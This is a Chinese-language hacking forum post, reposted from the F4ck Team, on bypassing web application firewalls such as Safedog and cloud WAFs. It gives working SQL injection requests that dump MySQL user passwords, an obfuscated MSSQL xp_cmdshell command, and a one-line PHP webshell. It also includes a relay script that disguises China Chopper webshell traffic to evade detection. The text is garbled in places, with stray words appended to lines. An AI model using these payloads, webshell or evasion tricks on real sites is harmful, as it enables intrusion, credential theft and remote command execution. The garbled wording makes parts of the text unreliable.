目前市场上的WAF主要有如下几类php
1. 以安全狗为表明的基于软件WAFhtml
2. 百度加速乐、安全宝等部署在云端的WAFmysql
3. 硬件WAFweb
WAF的检测主要有三个阶段,我画了一张图进行说明sql
本文主要总结的就是针对上面的三个阶段的绕过策略。小菜一枚,欢迎拍砖。shell
WAF是有一个白名单的,在白名单内的客户请求将不作检测数据库
早些版本的安全狗是有这个漏洞的,就是把User-Agent修改成搜索引擎,即可以绕过,进行sql注入等攻击,论坛blacksplit大牛有一篇关于这个的文章,还有利用工具安全
Link http://sb.f4ck.org/forum.php?mod=viewthread&tid=11254服务器
这里推荐一个谷歌插件,能够修改User-Agent,叫User-Agent Switchercookie
360webscan脚本存在这个问题,就是判断是否为admin dede install等目录,若是是则不作拦截
好比
<span style="font-size:14px;">GET /pen/news.php?id=1 union select user,password from mysql.user</span>
能够改成
GET /pen/news.php/admin?id=1 union select user,password from mysql.user
或者
<span style="font-size:14px;">GET /pen/admin/..\news.php?id=1 union select user,password from mysql.user</span>
详细的见wooyun-2014-050576
Link http://paper.wooyun.org/bugs/wooyun-2014-050576
这个方法能够用于安全宝、加速乐等云WAF,云WAF的原理经过DNS解析到云WAF,访问网站的流量要通过指定的DNS服务器解析,而后进入WAF节点进行过滤,最后访问原始服务器,若是咱们能经过一些手段(好比c段、社工)找到原始的服务器地址,即可以绕过,这个我也没有找到太好的例子,就很少作说明了。
最多见的方法之一,能够进行urlencode
早期的方法,如今效果不是太好
我想玩渗透的都知道cookie中转注入,最典型的修改请求方式绕过,不少的asp,aspx网站都存在这个问题,有时候WAF对GET进行了过滤,可是Cookie甚至POST参数却没有检测。
还有就是参数污染,最近的一个典型例子就是wooyun社区给出的multipart请求绕过,在POST请求中添加一个上传文件,绕过了绝大多数WAF。
详情看http://zone.wooyun.org/content/11423
例如一个请求是这样的
GET /pen/news.PHP?id=1 union select user,password from MySQL.user
能够修改成
GET /pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
不少WAF均可以这样绕,测试最新版安全狗能绕过部分语句
WAF在这里主要是针对一些特殊的关键词或者用法进行检测。绕过方法不少,也是最有效的。
用一些特殊字符代替空格,好比在mysql中%0a是换行,能够代替空格,这个方法也能够部分绕过最新版本的安全狗,在sqlserver中能够用/**/代替空格
把特殊字符拼接起来绕过WAF的检测,好比在Mysql中,能够利用注释/**/来绕过,在mssql中,函数里面能够用+来拼接
好比
<span style="font-size:14px;"> GET /pen/news.php?id=1;exec(master..xp_cmdshell 'net user')</span>
能够改成
GET /pen/news.php?id=1; exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
在mysql中,能够利用/*!*/包含关键词进行绕过,在mysql中这个不是注释,而是取消注释的内容。测试最新版本的安全狗能够完美绕过。
例如
GET /pen/news.php?id=1 union select user,password from mysql.user
能够改成
<span style="font-size:14px;">GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user</span>
这方面文章不少,好比bystander在论坛发的这篇文章
http://sb.f4ck.org/forum.php?mod=viewthread&tid=7975
平时本身收集的一些方法,今天总结了一下,抛砖引玉,欢迎你们补充。==================================================================================================================================================================================================================================================================================================================
好吧,我以为不少人是为了过来看这个的。= =!
只能用于mysql数据库。
其实文章里已经写了一种了 就是利用/*!*/包含关键词进行绕过,不过这种方法要手工注入,懒人们确定不喜欢,附上一种工具绕过的方法
把空格替换成%0a/**/能够绕过最新版本安全狗
在Pangolin中 点击 编辑 配置 高级 选择替换空格使用
填上%0a/**/便可
过狗的小马我一直用这个
<span style="font-size:14px;"><?php $a=$_GET['a'];$a($_POST['cmd']);?></span>
这个 虽然不会被杀 可是菜刀链接会被拦截
我是用sunshine大牛的中转方法绕过的。
详情看http://zone.wooyun.org/content/10278
脚本:
<span style="font-size:14px;"><?php $webshell="http://192.168.204.2/pen/1.php?a=assert";//把这里改为你的shell地址 $webshell=$webshell."&1141056911=base64_decode"; $da=$_POST; $data = $da; @$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911]( //print_r($data); $data = http_build_query($data); $opts = array ( 'http' => array ( 'method' => 'POST', 'header'=> "Content-type: application/x-www-form-urlencoded\r\n" . "Content-Length: " . strlen($data) . "\r\n", 'content' => $data) ); $context = stream_context_create($opts); $html = @file_get_contents($webshell, false, $context); //发送post echo $html; ?> </span>
转自:http://sb.f4ck.org/thread-18258-1-1.html
Author:Sudo
Team:F4ck Team